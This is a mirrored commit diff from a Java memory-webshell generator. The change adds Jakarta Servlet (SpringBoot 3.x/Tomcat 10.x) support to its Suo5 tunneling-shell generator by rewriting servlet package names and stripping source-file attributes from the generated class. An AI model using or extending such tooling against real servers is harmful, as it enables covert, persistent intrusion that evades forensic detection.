mirror of
https://github.com/pen4uin/java-memshell-generator.git
synced 2026-09-23 10:11:52 +08:00
add: 添加对 Jakarta Servlet 的支持(SpringBoot 3.x/Tomcat 10.x)
This commit is contained in:
@@ -46,6 +46,11 @@ public class Suo5Generator implements IShellGenerator {
|
||||
String methodBody = ResponseUtil.getMethodBody(config.getServerType());
|
||||
JavassistUtil.addMethod(ctClass, "getResponseFromRequest", methodBody);
|
||||
}
|
||||
if (config.getShellType().equals(Constants.SHELL_JAKARTA_LISTENER)) {
|
||||
String methodBody = ResponseUtil.getMethodBody(config.getServerType());
|
||||
methodBody = methodBody.replace("javax.servlet.", "jakarta.servlet.");
|
||||
JavassistUtil.addMethod(ctClass, "getResponseFromRequest", methodBody);
|
||||
}
|
||||
JavassistUtil.removeSourceFileAttribute(ctClass);
|
||||
bytes = ctClass.toBytecode();
|
||||
ctClass.detach();
|
||||
|
||||
Reference in New Issue
Block a user